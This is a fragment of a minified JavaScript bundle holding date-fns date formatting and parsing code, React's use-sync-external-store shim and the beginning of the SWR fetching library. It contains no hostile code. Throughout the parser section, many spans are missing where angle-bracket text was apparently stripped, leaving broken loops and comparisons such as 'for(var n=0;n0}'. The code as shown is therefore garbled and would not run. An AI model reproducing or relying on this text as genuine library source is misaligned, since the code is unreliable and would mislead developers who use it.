r=Math.ceil((t.getUTCMonth()+1)/3);switch(e){case"Q":return String(r);case"QQ":return s(r,2);case"Qo":return n.ordinalNumber(r,{unit:"quarter"});case"QQQ":return n.quarter(r,{width:"abbreviated",context:"formatting"});case"QQQQQ":return n.quarter(r,{width:"narrow",context:"formatting"});default:return n.quarter(r,{width:"wide",context:"formatting"})}},q:function(t,e,n){var r=Math.ceil((t.getUTCMonth()+1)/3);switch(e){case"q":return String(r);case"qq":return s(r,2);case"qo":return n.ordinalNumber(r,{unit:"quarter"});case"qqq":return n.quarter(r,{width:"abbreviated",context:"standalone"});case"qqqqq":return n.quarter(r,{width:"narrow",context:"standalone"});default:return n.quarter(r,{width:"wide",context:"standalone"})}},M:function(t,e,n){var r=t.getUTCMonth();switch(e){case"M":case"MM":return y.M(t,e);case"Mo":return n.ordinalNumber(r+1,{unit:"month"});case"MMM":return n.month(r,{width:"abbreviated",context:"formatting"});case"MMMMM":return n.month(r,{width:"narrow",context:"formatting"});default:return n.month(r,{width:"wide",context:"formatting"})}},L:function(t,e,n){var r=t.getUTCMonth();switch(e){case"L":return String(r+1);case"LL":return s(r+1,2);case"Lo":return n.ordinalNumber(r+1,{unit:"month"});case"LLL":return n.month(r,{width:"abbreviated",context:"standalone"});case"LLLLL":return n.month(r,{width:"narrow",context:"standalone"});default:return n.month(r,{width:"wide",context:"standalone"})}},w:function(t,e,n,r){var o=(0,f.Z)(t,r);return"wo"===e?n.ordinalNumber(o,{unit:"week"}):s(o,e.length)},I:function(t,e,n){var r=(0,u.Z)(t);return"Io"===e?n.ordinalNumber(r,{unit:"week"}):s(r,e.length)},d:function(t,e,n){return"do"===e?n.ordinalNumber(t.getUTCDate(),{unit:"date"}):y.d(t,e)},D:function(t,e,n){var o=function(t){(0,r.Z)(1,arguments);var e=(0,i.Z)(t),n=e.getTime();return e.setUTCMonth(0,1),e.setUTCHours(0,0,0,0),Math.floor((n-e.getTime())/864e5)+1}(t);return"Do"===e?n.ordinalNumber(o,{unit:"dayOfYear"}):s(o,e.length)},E:function(t,e,n){var r=t.getUTCDay();switch(e){case"E":case"EE":case"EEE":return n.day(r,{width:"abbreviated",context:"formatting"});case"EEEEE":return n.day(r,{width:"narrow",context:"formatting"});case"EEEEEE":return n.day(r,{width:"short",context:"formatting"});default:return n.day(r,{width:"wide",context:"formatting"})}},e:function(t,e,n,r){var o=t.getUTCDay(),i=(o-r.weekStartsOn+8)%7||7;switch(e){case"e":return String(i);case"ee":return s(i,2);case"eo":return n.ordinalNumber(i,{unit:"day"});case"eee":return n.day(o,{width:"abbreviated",context:"formatting"});case"eeeee":return n.day(o,{width:"narrow",context:"formatting"});case"eeeeee":return n.day(o,{width:"short",context:"formatting"});default:return n.day(o,{width:"wide",context:"formatting"})}},c:function(t,e,n,r){var o=t.getUTCDay(),i=(o-r.weekStartsOn+8)%7||7;switch(e){case"c":return String(i);case"cc":return s(i,e.length);case"co":return n.ordinalNumber(i,{unit:"day"});case"ccc":return n.day(o,{width:"abbreviated",context:"standalone"});case"ccccc":return n.day(o,{width:"narrow",context:"standalone"});case"cccccc":return n.day(o,{width:"short",context:"standalone"});default:return n.day(o,{width:"wide",context:"standalone"})}},i:function(t,e,n){var r=t.getUTCDay(),o=0===r?7:r;switch(e){case"i":return String(o);case"ii":return s(o,e.length);case"io":return n.ordinalNumber(o,{unit:"day"});case"iii":return n.day(r,{width:"abbreviated",context:"formatting"});case"iiiii":return n.day(r,{width:"narrow",context:"formatting"});case"iiiiii":return n.day(r,{width:"short",context:"formatting"});default:return n.day(r,{width:"wide",context:"formatting"})}},a:function(t,e,n){var r=t.getUTCHours()/12>=1?"pm":"am";switch(e){case"a":case"aa":return n.dayPeriod(r,{width:"abbreviated",context:"formatting"});case"aaa":return n.dayPeriod(r,{width:"abbreviated",context:"formatting"}).toLowerCase();case"aaaaa":return n.dayPeriod(r,{width:"narrow",context:"formatting"});default:return n.dayPeriod(r,{width:"wide",context:"formatting"})}},b:function(t,e,n){var r,o=t.getUTCHours();switch(r=12===o?p.noon:0===o?p.midnight:o/12>=1?"pm":"am",e){case"b":case"bb":return n.dayPeriod(r,{width:"abbreviated",context:"formatting"});case"bbb":return n.dayPeriod(r,{width:"abbreviated",context:"formatting"}).toLowerCase();case"bbbbb":return n.dayPeriod(r,{width:"narrow",context:"formatting"});default:return n.dayPeriod(r,{width:"wide",context:"formatting"})}},B:function(t,e,n){var r,o=t.getUTCHours();switch(r=o>=17?p.evening:o>=12?p.afternoon:o>=4?p.morning:p.night,e){case"B":case"BB":case"BBB":return n.dayPeriod(r,{width:"abbreviated",context:"formatting"});case"BBBBB":return n.dayPeriod(r,{width:"narrow",context:"formatting"});default:return n.dayPeriod(r,{width:"wide",context:"formatting"})}},h:function(t,e,n){if("ho"===e){var r=t.getUTCHours()%12;return 0===r&&(r=12),n.ordinalNumber(r,{unit:"hour"})}return y.h(t,e)},H:function(t,e,n){return"Ho"===e?n.ordinalNumber(t.getUTCHours(),{unit:"hour"}):y.H(t,e)},K:function(t,e,n){var r=t.getUTCHours()%12;return"Ko"===e?n.ordinalNumber(r,{unit:"hour"}):s(r,e.length)},k:function(t,e,n){var r=t.getUTCHours();return(0===r&&(r=24),"ko"===e)?n.ordinalNumber(r,{unit:"hour"}):s(r,e.length)},m:function(t,e,n){return"mo"===e?n.ordinalNumber(t.getUTCMinutes(),{unit:"minute"}):y.m(t,e)},s:function(t,e,n){return"so"===e?n.ordinalNumber(t.getUTCSeconds(),{unit:"second"}):y.s(t,e)},S:function(t,e){return y.S(t,e)},X:function(t,e,n,r){var o=(r._originalDate||t).getTimezoneOffset();if(0===o)return"Z";switch(e){case"X":return b(o);case"XXXX":case"XX":return h(o);default:return h(o,":")}},x:function(t,e,n,r){var o=(r._originalDate||t).getTimezoneOffset();switch(e){case"x":return b(o);case"xxxx":case"xx":return h(o);default:return h(o,":")}},O:function(t,e,n,r){var o=(r._originalDate||t).getTimezoneOffset();switch(e){case"O":case"OO":case"OOO":return"GMT"+d(o,":");default:return"GMT"+h(o,":")}},z:function(t,e,n,r){var o=(r._originalDate||t).getTimezoneOffset();switch(e){case"z":case"zz":case"zzz":return"GMT"+d(o,":");default:return"GMT"+h(o,":")}},t:function(t,e,n,r){return s(Math.floor((r._originalDate||t).getTime()/1e3),e.length)},T:function(t,e,n,r){return s((r._originalDate||t).getTime(),e.length)}},m=n(7621),g=n(4262),w=n(5267),O=n(3946),T=n(4314),S=n(6559),P=/[yYQqMLwIdDecihHKkms]o|(\w)\1*|''|'(''|[^'])+('|$)|./g,_=/P+p+|P+|p+|''|'(''|[^'])+('|$)|./g,j=/^'([^]*?)'?$/,k=/''/g,R=/[a-zA-Z]/;function x(t,e,n){(0,r.Z)(2,arguments);var u,c,f,l,s,y,p,d,b,h,x,C,E,D,M,Z,U,B,Y=String(e),N=(0,T.j)(),q=null!==(u=null!==(c=null==n?void 0:n.locale)&&void 0!==c?c:N.locale)&&void 0!==u?u:S.Z,A=(0,O.Z)(null!==(f=null!==(l=null!==(s=null!==(y=null==n?void 0:n.firstWeekContainsDate)&&void 0!==y?y:null==n?void 0:null===(p=n.locale)||void 0===p?void 0:null===(d=p.options)||void 0===d?void 0:d.firstWeekContainsDate)&&void 0!==s?s:N.firstWeekContainsDate)&&void 0!==l?l:null===(b=N.locale)||void 0===b?void 0:null===(h=b.options)||void 0===h?void 0:h.firstWeekContainsDate)&&void 0!==f?f:1);if(!(A>=1&&A<=7))throw RangeError("firstWeekContainsDate must be between 1 and 7 inclusively");var H=(0,O.Z)(null!==(x=null!==(C=null!==(E=null!==(D=null==n?void 0:n.weekStartsOn)&&void 0!==D?D:null==n?void 0:null===(M=n.locale)||void 0===M?void 0:null===(Z=M.options)||void 0===Z?void 0:Z.weekStartsOn)&&void 0!==E?E:N.weekStartsOn)&&void 0!==C?C:null===(U=N.locale)||void 0===U?void 0:null===(B=U.options)||void 0===B?void 0:B.weekStartsOn)&&void 0!==x?x:0);if(!(H>=0&&H<=6))throw RangeError("weekStartsOn must be between 0 and 6 inclusively");if(!q.localize)throw RangeError("locale must contain localize property");if(!q.formatLong)throw RangeError("locale must contain formatLong property");var W=(0,i.Z)(t);if(!function(t){return(0,r.Z)(1,arguments),(!!function(t){return(0,r.Z)(1,arguments),t instanceof Date||"object"===o(t)&&"[object Date]"===Object.prototype.toString.call(t)}(t)||"number"==typeof t)&&!isNaN(Number((0,i.Z)(t)))}(W))throw RangeError("Invalid time value");var L=(0,g.Z)(W),F=(0,a.Z)(W,L),I={firstWeekContainsDate:A,weekStartsOn:H,locale:q,_originalDate:W};return Y.match(_).map(function(t){var e=t[0];return"p"===e||"P"===e?(0,m.Z[e])(t,q.formatLong):t}).join("").match(P).map(function(r){if("''"===r)return"'";var o,i=r[0];if("'"===i)return(o=r.match(j))?o[1].replace(k,"'"):r;var a=v[i];if(a)return!(null!=n&&n.useAdditionalWeekYearTokens)&&(0,w.Do)(r)&&(0,w.qp)(r,e,String(t)),!(null!=n&&n.useAdditionalDayOfYearTokens)&&(0,w.Iu)(r)&&(0,w.qp)(r,e,String(t)),a(F,r,q.localize,I);if(i.match(R))throw RangeError("Format string contains an unescaped latin alphabet character `"+i+"`");return r}).join("")}},2647:function(t,e,n){n.d(e,{Z:function(){return rR}});var r=n(6559),o=n(2234),i=n(9013),a=n(2149),u=n(7621),c=n(4262),f=n(5267),l=n(3946),s=n(3882);function y(t){return(y="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(t){return typeof t}:function(t){return t&&"function"==typeof Symbol&&t.constructor===Symbol&&t!==Symbol.prototype?"symbol":typeof t})(t)}function p(t,e){if("function"!=typeof e&&null!==e)throw TypeError("Super expression must either be null or a function");t.prototype=Object.create(e&&e.prototype,{constructor:{value:t,writable:!0,configurable:!0}}),e&&d(t,e)}function d(t,e){return(d=Object.setPrototypeOf||function(t,e){return t.__proto__=e,t})(t,e)}function b(t){var e=function(){if("undefined"==typeof Reflect||!Reflect.construct||Reflect.construct.sham)return!1;if("function"==typeof Proxy)return!0;try{return Boolean.prototype.valueOf.call(Reflect.construct(Boolean,[],function(){})),!0}catch(t){return!1}}();return function(){var n,r,o=v(t);if(e){var i=v(this).constructor;r=Reflect.construct(o,arguments,i)}else r=o.apply(this,arguments);return(n=r)&&("object"===y(n)||"function"==typeof n)?n:h(this)}}function h(t){if(void 0===t)throw ReferenceError("this hasn't been initialised - super() hasn't been called");return t}function v(t){return(v=Object.setPrototypeOf?Object.getPrototypeOf:function(t){return t.__proto__||Object.getPrototypeOf(t)})(t)}function m(t,e){if(!(t instanceof e))throw TypeError("Cannot call a class as a function")}function g(t,e){for(var n=0;n0,o=r?e:1-e;if(o<=50)n=t||100;else{var i=o+50;n=t+100*Math.floor(i/100)-(t>=i%100?100:0)}return r?n:1-n}function F(t){return t%400==0||t%4==0&&t%100!=0}function I(t){return(I="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(t){return typeof t}:function(t){return t&&"function"==typeof Symbol&&t.constructor===Symbol&&t!==Symbol.prototype?"symbol":typeof t})(t)}function Q(t,e){for(var n=0;n0}},{key:"set",value:function(t,e,n){var r=t.getUTCFullYear();if(n.isTwoDigitYear){var o=L(n.year,r);return t.setUTCFullYear(o,0,1),t.setUTCHours(0,0,0,0),t}var i="era"in e&&1!==e.era?1-n.year:n.year;return t.setUTCFullYear(i,0,1),t.setUTCHours(0,0,0,0),t}}]),n&&Q(o,n),o}(j),K=n(7651),$=n(9025);function tt(t){return(tt="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(t){return typeof t}:function(t){return t&&"function"==typeof Symbol&&t.constructor===Symbol&&t!==Symbol.prototype?"symbol":typeof t})(t)}function te(t,e){for(var n=0;n0}},{key:"set",value:function(t,e,n,r){var o=(0,K.Z)(t,r);if(n.isTwoDigitYear){var i=L(n.year,o);return t.setUTCFullYear(i,0,r.firstWeekContainsDate),t.setUTCHours(0,0,0,0),(0,$.Z)(t,r)}var a="era"in e&&1!==e.era?1-n.year:n.year;return t.setUTCFullYear(a,0,r.firstWeekContainsDate),t.setUTCHours(0,0,0,0),(0,$.Z)(t,r)}}]),n&&te(o,n),o}(j),tu=n(6979);function tc(t){return(tc="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(t){return typeof t}:function(t){return t&&"function"==typeof Symbol&&t.constructor===Symbol&&t!==Symbol.prototype?"symbol":typeof t})(t)}function tf(t,e){for(var n=0;n=1&&e<=4}},{key:"set",value:function(t,e,n){return t.setUTCMonth((n-1)*3,1),t.setUTCHours(0,0,0,0),t}}]),n&&tS(o,n),o}(j);function tx(t){return(tx="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(t){return typeof t}:function(t){return t&&"function"==typeof Symbol&&t.constructor===Symbol&&t!==Symbol.prototype?"symbol":typeof t})(t)}function tC(t,e){for(var n=0;n=1&&e<=4}},{key:"set",value:function(t,e,n){return t.setUTCMonth((n-1)*3,1),t.setUTCHours(0,0,0,0),t}}]),n&&tC(o,n),o}(j);function tB(t){return(tB="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(t){return typeof t}:function(t){return t&&"function"==typeof Symbol&&t.constructor===Symbol&&t!==Symbol.prototype?"symbol":typeof t})(t)}function tY(t,e){for(var n=0;n=0&&e<=11}},{key:"set",value:function(t,e,n){return t.setUTCMonth(n,1),t.setUTCHours(0,0,0,0),t}}]),n&&tY(o,n),o}(j);function tL(t){return(tL="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(t){return typeof t}:function(t){return t&&"function"==typeof Symbol&&t.constructor===Symbol&&t!==Symbol.prototype?"symbol":typeof t})(t)}function tF(t,e){for(var n=0;n=0&&e<=11}},{key:"set",value:function(t,e,n){return t.setUTCMonth(n,1),t.setUTCHours(0,0,0,0),t}}]),n&&tF(o,n),o}(j),tz=n(5230);function tJ(t){return(tJ="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(t){return typeof t}:function(t){return t&&"function"==typeof Symbol&&t.constructor===Symbol&&t!==Symbol.prototype?"symbol":typeof t})(t)}function tK(t,e){for(var n=0;n=1&&e<=53}},{key:"set",value:function(t,e,n,r){return(0,$.Z)(function(t,e,n){(0,s.Z)(2,arguments);var r=(0,i.Z)(t),o=(0,l.Z)(e),a=(0,tz.Z)(r,n)-o;return r.setUTCDate(r.getUTCDate()-7*a),r}(t,n,r),r)}}]),n&&tK(o,n),o}(j),t4=n(3276);function t6(t){return(t6="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(t){return typeof t}:function(t){return t&&"function"==typeof Symbol&&t.constructor===Symbol&&t!==Symbol.prototype?"symbol":typeof t})(t)}function t7(t,e){for(var n=0;n=1&&e<=53}},{key:"set",value:function(t,e,n){return(0,tu.Z)(function(t,e){(0,s.Z)(2,arguments);var n=(0,i.Z)(t),r=(0,l.Z)(e),o=(0,t4.Z)(n)-r;return n.setUTCDate(n.getUTCDate()-7*o),n}(t,n))}}]),n&&t7(o,n),o}(j);function en(t){return(en="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(t){return typeof t}:function(t){return t&&"function"==typeof Symbol&&t.constructor===Symbol&&t!==Symbol.prototype?"symbol":typeof t})(t)}function er(t,e){for(var n=0;n=1&&e<=ef[r]:e>=1&&e<=ec[r]}},{key:"set",value:function(t,e,n){return t.setUTCDate(n),t.setUTCHours(0,0,0,0),t}}]),n&&er(o,n),o}(j);function es(t){return(es="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(t){return typeof t}:function(t){return t&&"function"==typeof Symbol&&t.constructor===Symbol&&t!==Symbol.prototype?"symbol":typeof t})(t)}function ey(t,e){for(var n=0;n=1&&e<=366:e>=1&&e<=365}},{key:"set",value:function(t,e,n){return t.setUTCMonth(0,n),t.setUTCHours(0,0,0,0),t}}]),n&&ey(o,n),o}(j),em=n(4314);function eg(t,e,n){(0,s.Z)(2,arguments);var r,o,a,u,c,f,y,p,d=(0,em.j)(),b=(0,l.Z)(null!==(r=null!==(o=null!==(a=null!==(u=null==n?void 0:n.weekStartsOn)&&void 0!==u?u:null==n?void 0:null===(c=n.locale)||void 0===c?void 0:null===(f=c.options)||void 0===f?void 0:f.weekStartsOn)&&void 0!==a?a:d.weekStartsOn)&&void 0!==o?o:null===(y=d.locale)||void 0===y?void 0:null===(p=y.options)||void 0===p?void 0:p.weekStartsOn)&&void 0!==r?r:0);if(!(b>=0&&b<=6))throw RangeError("weekStartsOn must be between 0 and 6 inclusively");var h=(0,i.Z)(t),v=(0,l.Z)(e),m=h.getUTCDay();return h.setUTCDate(h.getUTCDate()+(((v%7+7)%7=0&&e<=6}},{key:"set",value:function(t,e,n,r){return(t=eg(t,n,r)).setUTCHours(0,0,0,0),t}}],eO(i.prototype,n),r&&eO(i,r),i}(j);function ek(t){return(ek="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(t){return typeof t}:function(t){return t&&"function"==typeof Symbol&&t.constructor===Symbol&&t!==Symbol.prototype?"symbol":typeof t})(t)}function eR(t,e){for(var n=0;n=0&&e<=6}},{key:"set",value:function(t,e,n,r){return(t=eg(t,n,r)).setUTCHours(0,0,0,0),t}}],eR(i.prototype,n),r&&eR(i,r),i}(j);function eZ(t){return(eZ="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(t){return typeof t}:function(t){return t&&"function"==typeof Symbol&&t.constructor===Symbol&&t!==Symbol.prototype?"symbol":typeof t})(t)}function eU(t,e){for(var n=0;n=0&&e<=6}},{key:"set",value:function(t,e,n,r){return(t=eg(t,n,r)).setUTCHours(0,0,0,0),t}}],eU(i.prototype,n),r&&eU(i,r),i}(j);function eH(t){return(eH="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(t){return typeof t}:function(t){return t&&"function"==typeof Symbol&&t.constructor===Symbol&&t!==Symbol.prototype?"symbol":typeof t})(t)}function eW(t,e){for(var n=0;n=1&&e<=7}},{key:"set",value:function(t,e,n){return(t=function(t,e){(0,s.Z)(2,arguments);var n=(0,l.Z)(e);n%7==0&&(n-=7);var r=(0,i.Z)(t),o=((n%7+7)%7<1?7:0)+n-r.getUTCDay();return r.setUTCDate(r.getUTCDate()+o),r}(t,n)).setUTCHours(0,0,0,0),t}}],eW(a.prototype,n),r&&eW(a,r),a}(j);function eG(t){return(eG="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(t){return typeof t}:function(t){return t&&"function"==typeof Symbol&&t.constructor===Symbol&&t!==Symbol.prototype?"symbol":typeof t})(t)}function eV(t,e){for(var n=0;n=1&&e<=12}},{key:"set",value:function(t,e,n){var r=t.getUTCHours()>=12;return r&&n<12?t.setUTCHours(n+12,0,0,0):r||12!==n?t.setUTCHours(n,0,0,0):t.setUTCHours(0,0,0,0),t}}]),n&&na(o,n),o}(j);function ny(t){return(ny="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(t){return typeof t}:function(t){return t&&"function"==typeof Symbol&&t.constructor===Symbol&&t!==Symbol.prototype?"symbol":typeof t})(t)}function np(t,e){for(var n=0;n=0&&e<=23}},{key:"set",value:function(t,e,n){return t.setUTCHours(n,0,0,0),t}}]),n&&np(o,n),o}(j);function ng(t){return(ng="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(t){return typeof t}:function(t){return t&&"function"==typeof Symbol&&t.constructor===Symbol&&t!==Symbol.prototype?"symbol":typeof t})(t)}function nw(t,e){for(var n=0;n=0&&e<=11}},{key:"set",value:function(t,e,n){return t.getUTCHours()>=12&&n<12?t.setUTCHours(n+12,0,0,0):t.setUTCHours(n,0,0,0),t}}]),n&&nw(o,n),o}(j);function nj(t){return(nj="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(t){return typeof t}:function(t){return t&&"function"==typeof Symbol&&t.constructor===Symbol&&t!==Symbol.prototype?"symbol":typeof t})(t)}function nk(t,e){for(var n=0;n=1&&e<=24}},{key:"set",value:function(t,e,n){return t.setUTCHours(n<=24?n%24:n,0,0,0),t}}]),n&&nk(o,n),o}(j);function nM(t){return(nM="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(t){return typeof t}:function(t){return t&&"function"==typeof Symbol&&t.constructor===Symbol&&t!==Symbol.prototype?"symbol":typeof t})(t)}function nZ(t,e){for(var n=0;n=0&&e<=59}},{key:"set",value:function(t,e,n){return t.setUTCMinutes(n,0,0),t}}]),n&&nZ(o,n),o}(j);function nA(t){return(nA="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(t){return typeof t}:function(t){return t&&"function"==typeof Symbol&&t.constructor===Symbol&&t!==Symbol.prototype?"symbol":typeof t})(t)}function nH(t,e){for(var n=0;n=0&&e<=59}},{key:"set",value:function(t,e,n){return t.setUTCSeconds(n,0),t}}]),n&&nH(o,n),o}(j);function nX(t){return(nX="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(t){return typeof t}:function(t){return t&&"function"==typeof Symbol&&t.constructor===Symbol&&t!==Symbol.prototype?"symbol":typeof t})(t)}function nG(t,e){for(var n=0;n=t.length?{done:!0}:{done:!1,value:t[n++]}},e:function(t){throw t},f:r}}throw TypeError("Invalid attempt to iterate non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}var o,i,a=!0,u=!1;return{s:function(){o=t[Symbol.iterator]()},n:function(){var t=o.next();return a=t.done,t},e:function(t){u=!0,i=t},f:function(){try{a||null==o.return||o.return()}finally{if(u)throw i}}}}function rO(t,e){(null==e||e>t.length)&&(e=t.length);for(var n=0,r=Array(e);n=1&&v<=7))throw RangeError("firstWeekContainsDate must be between 1 and 7 inclusively");var m=(0,l.Z)(null!==(C=null!==(E=null!==(D=null!==(M=null==y?void 0:y.weekStartsOn)&&void 0!==M?M:null==y?void 0:null===(Z=y.locale)||void 0===Z?void 0:null===(U=Z.options)||void 0===U?void 0:U.weekStartsOn)&&void 0!==D?D:b.weekStartsOn)&&void 0!==E?E:null===(B=b.locale)||void 0===B?void 0:null===(Y=B.options)||void 0===Y?void 0:Y.weekStartsOn)&&void 0!==C?C:0);if(!(m>=0&&m<=6))throw RangeError("weekStartsOn must be between 0 and 6 inclusively");if(""===d)return""===p?(0,i.Z)(n):new Date(NaN);var g,w,O,T,S,_,j,k,R,x,C,E,D,M,Z,U,B,Y,N,q={firstWeekContainsDate:v,weekStartsOn:m,locale:h},A=[new P],H=d.match(rS).map(function(t){var e=t[0];return e in u.Z?(0,u.Z[e])(t,h.formatLong):t}).join("").match(rT),W=[],L=rw(H);try{for(L.s();!(N=L.n()).done;){var F=function(){var e=N.value;!(null!=y&&y.useAdditionalWeekYearTokens)&&(0,f.Do)(e)&&(0,f.qp)(e,d,t),!(null!=y&&y.useAdditionalDayOfYearTokens)&&(0,f.Iu)(e)&&(0,f.qp)(e,d,t);var n=e[0],r=rm[n];if(r){var o=r.incompatibleTokens;if(Array.isArray(o)){var i=W.find(function(t){return o.includes(t.token)||t.token===n});if(i)throw RangeError("The format string mustn't contain `".concat(i.fullToken,"` and `").concat(e,"` at the same time"))}else if("*"===r.incompatibleTokens&&W.length>0)throw RangeError("The format string mustn't contain `".concat(e,"` and any other token at the same time"));W.push({token:n,fullToken:e});var a=r.run(p,e,h.match,q);if(!a)return{v:new Date(NaN)};A.push(a.setter),p=a.rest}else{if(n.match(rk))throw RangeError("Format string contains an unescaped latin alphabet character `"+n+"`");if("''"===e?e="'":"'"===n&&(e=e.match(rP)[1].replace(r_,"'")),0!==p.indexOf(e))return{v:new Date(NaN)};p=p.slice(e.length)}}();if("object"===rg(F))return F.v}}catch(I){L.e(I)}finally{L.f()}if(p.length>0&&rj.test(p))return new Date(NaN);var Q=A.map(function(t){return t.priority}).sort(function(t,e){return e-t}).filter(function(t,e,n){return n.indexOf(t)===e}).map(function(t){return A.filter(function(e){return e.priority===t}).sort(function(t,e){return e.subPriority-t.subPriority})}).map(function(t){return t[0]}),X=(0,i.Z)(n);if(isNaN(X.getTime()))return new Date(NaN);var G,V=(0,o.Z)(X,(0,c.Z)(X)),z={},J=rw(Q);try{for(J.s();!(G=J.n()).done;){var K=G.value;if(!K.validate(V,q))return new Date(NaN);var $=K.set(V,z,q);Array.isArray($)?(V=$[0],(0,a.Z)(z,$[1])):V=$}}catch(tt){J.e(tt)}finally{J.f()}return V}},2234:function(t,e,n){n.d(e,{Z:function(){return a}});var r=n(3946),o=n(9013),i=n(3882);function a(t,e){return(0,i.Z)(2,arguments),function(t,e){(0,i.Z)(2,arguments);var n=(0,o.Z)(t).getTime(),a=(0,r.Z)(e);return new Date(n+a)}(t,-(0,r.Z)(e))}},9013:function(t,e,n){n.d(e,{Z:function(){return i}});var r=n(3882);function o(t){return(o="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(t){return typeof t}:function(t){return t&&"function"==typeof Symbol&&t.constructor===Symbol&&t!==Symbol.prototype?"symbol":typeof t})(t)}function i(t){(0,r.Z)(1,arguments);var e=Object.prototype.toString.call(t);return t instanceof Date||"object"===o(t)&&"[object Date]"===e?new Date(t.getTime()):"number"==typeof t||"[object Number]"===e?new Date(t):(("string"==typeof t||"[object String]"===e)&&"undefined"!=typeof console&&(console.warn("Starting with v2.0.0-beta.1 date-fns doesn't accept strings as date arguments. Please use `parseISO` to parse strings. See: https://github.com/date-fns/date-fns/blob/master/docs/upgradeGuide.md#string-arguments"),console.warn(Error().stack)),new Date(NaN))}},3250:function(t,e,n){/** + * @license React + * use-sync-external-store-shim.production.min.js + * + * Copyright (c) Facebook, Inc. and its affiliates. + * + * This source code is licensed under the MIT license found in the + * LICENSE file in the root directory of this source tree. + */var r=n(7294),o="function"==typeof Object.is?Object.is:function(t,e){return t===e&&(0!==t||1/t==1/e)||t!=t&&e!=e},i=r.useState,a=r.useEffect,u=r.useLayoutEffect,c=r.useDebugValue;function f(t){var e=t.getSnapshot;t=t.value;try{var n=e();return!o(t,n)}catch(r){return!0}}var l="undefined"==typeof window||void 0===window.document||void 0===window.document.createElement?function(t,e){return e()}:function(t,e){var n=e(),r=i({inst:{value:n,getSnapshot:e}}),o=r[0].inst,l=r[1];return u(function(){o.value=n,o.getSnapshot=e,f(o)&&l({inst:o})},[t,n,e]),a(function(){return f(o)&&l({inst:o}),t(function(){f(o)&&l({inst:o})})},[t]),c(n),n};e.useSyncExternalStore=void 0!==r.useSyncExternalStore?r.useSyncExternalStore:l},1688:function(t,e,n){t.exports=n(3250)},9734:function(t,e,n){n.d(e,{ZP:function(){return ti}});var r=n(7294),o=n(1688);let i=new WeakMap,a={},u={},c=()=>{},f=c(),l=Object,s=t=>t===f,y=t=>"function"==typeof t,p=(t,e)=>({...t,...e}),d="undefined",b=typeof window!=d,h=typeof document!=d,v=()=>b&&typeof window.requestAnimationFrame!=d,m=(t,e)=>{let n=i.get(t);return[()=>t.get(e)||a,r=>{if(!s(e)){let o=t.get(e);e in u||(u[e]=o),n[5](e,p(o,r),o||a)}},n[6],()=>!s(e)&&e in u?u[e]:t.get(e)||a]},g=new WeakMap,w=0,O=t=>{let e,n;let r=typeof t,o=t&&t.constructor,i=o==Date;if(l(t)!==t||i||o==RegExp)e=i?t.toJSON():"symbol"==r?t.toString():"string"==r?JSON.stringify(t):""+t;else{if(e=g.get(t))return e;if(e=++w+"~",g.set(t,e),o==Array){for(n=0,e="@";n{let t=h&&document.visibilityState;return s(t)||"hidden"!==t},j=t=>(h&&document.addEventListener("visibilitychange",t),S("focus",t),()=>{h&&document.removeEventListener("visibilitychange",t),P("focus",t)}),k=t=>{let e=()=>{T=!0,t()},n=()=>{T=!1};return S("online",e),S("offline",n),()=>{P("online",e),P("offline",n)}},R={initFocus:j,initReconnect:k},x=!r.useId,C=!b||"Deno"in window,E=t=>v()?window.requestAnimationFrame(t):setTimeout(t,1),D=C?r.useEffect:r.useLayoutEffect,M="undefined"!=typeof navigator&&navigator.connection,Z=!C&&M&&(["slow-2g","2g"].includes(M.effectiveType)||M.saveData),U=t=>{if(y(t))try{t=t()}catch(e){t=""}let n=t;return[t="string"==typeof t?t:(Array.isArray(t)?t.length:t)?O(t):"",n]},B=0,Y=()=>++B;var N={__proto__:null,FOCUS_EVENT:0,RECONNECT_EVENT:1,MUTATE_EVENT:2};async function q(...t){let[e,n,r,o]=t,a=p({populateCache:!0,throwOnError:!0},"boolean"==typeof o?{revalidate:o}:o||{}),u=a.populateCache,c=a.rollbackOnError,l=a.optimisticData,d=!1!==a.revalidate,b=t=>"function"==typeof c?c(t):!1!==c,h=a.throwOnError;if(y(n)){let v=[],g=e.keys();for(let w=g.next();!w.done;w=g.next()){let O=w.value;!O.startsWith("$inf$")&&n(e.get(O)._k)&&v.push(O)}return Promise.all(v.map(T))}return T(n);async function T(n){let o;let[a]=U(n);if(!a)return;let[c,p]=m(e,a),[v,g,w]=i.get(e),O=v[a],T=()=>d&&(delete w[a],O&&O[0])?O[0](2).then(()=>c().data):c().data;if(t.length<3)return T();let S=r,P=Y();g[a]=[P,0];let _=!s(l),j=c(),k=j.data,R=j._c,x=s(R)?k:R;if(_&&p({data:l=y(l)?l(x):l,_c:x}),y(S))try{S=S(x)}catch(C){o=C}if(S&&y(S.then)){if(S=await S.catch(t=>{o=t}),P!==g[a][0]){if(o)throw o;return S}o&&_&&b(o)&&(u=!0,S=x,p({data:S,_c:f}))}u&&!o&&(y(u)&&(S=u(S,x)),p({data:S,_c:f})),g[a][1]=Y();let E=await T();if(p({_c:f}),o){if(h)throw o;return}return u?E:S}}let A=(t,e)=>{for(let n in t)t[n][0]&&t[n][0](e)},H=(t,e)=>{if(!i.has(t)){let n=p(R,e),r={},o=q.bind(f,t),a=c,u={},l=(t,e)=>{let n=u[t]||[];return 